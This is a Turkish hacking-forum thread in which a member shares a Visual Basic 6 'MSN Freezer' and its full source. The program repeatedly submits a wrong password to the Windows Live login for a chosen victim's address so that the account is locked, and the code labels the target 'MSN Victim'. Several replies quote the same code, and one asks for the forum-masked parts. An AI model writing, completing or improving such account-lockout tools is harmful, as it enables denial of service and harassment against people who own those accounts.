EvilEs Msn Freezer .D

B

Black-Thoor

Kıdemli Üye
3 Tem 2012
3,401
0
Eskişehir (:
+ Üyelik adınız : EvilEs

+ Programın ismi : EvilEs Msn Freezer

+ Programın sürümü : v1

+ Kullanılan programlama dili : visual basic 6.0

+ Programın ve kaynak kodunun adresi: kendim

+ Programın Amacı : Yazdıgınız Msnyi Dondurur.

+ Programın İndirme Linki : --------Tıkla-------

cjy8c.png
 
E

ekaba2002

Katılımcı Üye
13 Tem 2012
759
0
hotmailde freezliyomu gerçekten hotmail sürekli mail kapasitesi arttığı için
 
B

Black-Thoor

Kıdemli Üye
3 Tem 2012
3,401
0
Eskişehir (:
İlk Olarak Yeni Bir Form Açıyoruz.

Sonra Formumuza


1 tane progressbar
2 adet label
2 adet commandbutton
1 adet textbox
1 adet webbrowser

Ekliyoruz.

Sonra Kodlar;

__________________________________________________ __________


Private Sub Command1_Click()
WebBrowser1.Navigate ("https://mid.live.com/si/login.aspx")
Label1.Caption = "Lade"
End Sub

Private Sub Command2_Click()
WebBrowser1.Navigate ("")
WebBrowser1.Stop
ProgressBar1.Value = "0"
Label1.Caption = "Good!!"
Text1.Text = "MSN Victim Here..!"
End Sub

Private Sub Form_Load()

End Sub

Private Sub WebBrowser1_********Complete(ByVal pDisp As Object, URL As Variant)
On Error Resume Next
ProgressBar1.Value = "1"
Label1.Caption = "Freeze Messenger Account "
Dim Data As String
Data = w.********.body.innerhtml
WebBrowser1.********.All("LoginTextBox").Value = Text1.Text
WebBrowser1.********.All("PasswordTextBox").Value = ";erkesoft"
WebBrowser1.********.All("PasswordSubmit").Click
If InStr(Data, "Sign in failed.") Then
MsgBox "Donduruldu !"
End If
WebBrowser1.Navigate ("https://mid.live.com/si/login.aspx")
End Sub
 
E

ekaba2002

Katılımcı Üye
13 Tem 2012
759
0
EvilEs' Alıntı:
İlk Olarak Yeni Bir Form Açıyoruz.

Sonra Formumuza


1 tane progressbar
2 adet label
2 adet commandbutton
1 adet textbox
1 adet webbrowser

Ekliyoruz.

Sonra Kodlar;

__________________________________________________ __________


Private Sub Command1_Click()
WebBrowser1.Navigate ("https://mid.live.com/si/login.aspx")
Label1.Caption = "Lade"
End Sub

Private Sub Command2_Click()
WebBrowser1.Navigate ("")
WebBrowser1.Stop
ProgressBar1.Value = "0"
Label1.Caption = "Good!!"
Text1.Text = "MSN Victim Here..!"
End Sub

Private Sub Form_Load()

End Sub

Private Sub WebBrowser1_********Complete(ByVal pDisp As Object, URL As Variant)
On Error Resume Next
ProgressBar1.Value = "1"
Label1.Caption = "Freeze Messenger Account "
Dim Data As String
Data = w.********.body.innerhtml
WebBrowser1.********.All("LoginTextBox").Value = Text1.Text
WebBrowser1.********.All("PasswordTextBox").Value = ";erkesoft"
WebBrowser1.********.All("PasswordSubmit").Click
If InStr(Data, "Sign in failed.") Then
MsgBox "Donduruldu !"
End If
WebBrowser1.Navigate ("https://mid.live.com/si/login.aspx")
End Sub
Genişletmek için tıkla ...
biraz geliştirelim bakalım
 
B

By AYhan

Uzman üye
22 Eki 2011
1,154
1
İstanbul
Bak Gülüm Programı Varya Biraz özen Gösterip Command Button Yerine ActiveX.Ocx İndir Ondaki Butonları Kullan Tasarımda Güzellik Eklensin ;) çalışmalarının Devanını Diliyorum Ayrıca bekliyorum ;)
 
F

fatih5835

Üye
12 Ağu 2012
238
0
EvilEs' Alıntı:
İlk Olarak Yeni Bir Form Açıyoruz.

Sonra Formumuza


1 tane progressbar
2 adet label
2 adet commandbutton
1 adet textbox
1 adet webbrowser

Ekliyoruz.

Sonra Kodlar;

__________________________________________________ __________


Private Sub Command1_Click()
WebBrowser1.Navigate ("https://mid.live.com/si/login.aspx")
Label1.Caption = "Lade"
End Sub

Private Sub Command2_Click()
WebBrowser1.Navigate ("")
WebBrowser1.Stop
ProgressBar1.Value = "0"
Label1.Caption = "Good!!"
Text1.Text = "MSN Victim Here..!"
End Sub

Private Sub Form_Load()

End Sub

Private Sub WebBrowser1_********Complete(ByVal pDisp As Object, URL As Variant)
On Error Resume Next
ProgressBar1.Value = "1"
Label1.Caption = "Freeze Messenger Account "
Dim Data As String
Data = w.********.body.innerhtml
WebBrowser1.********.All("LoginTextBox").Value = Text1.Text
WebBrowser1.********.All("PasswordTextBox").Value = ";erkesoft"
WebBrowser1.********.All("PasswordSubmit").Click
If InStr(Data, "Sign in failed.") Then
MsgBox "Donduruldu !"
End If
WebBrowser1.Navigate ("https://mid.live.com/si/login.aspx")
End Sub
Genişletmek için tıkla ...
kardeş saol kodları paylaşmışsın ama bazı yerler forumda **** olarak görünmüş (yıldızlı) kodları not defterindeyken fotoğraf alıp link atabilirmisin ö.m. da olur
 
Cevap yazmak için giriş yap yada kayıt ol.
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.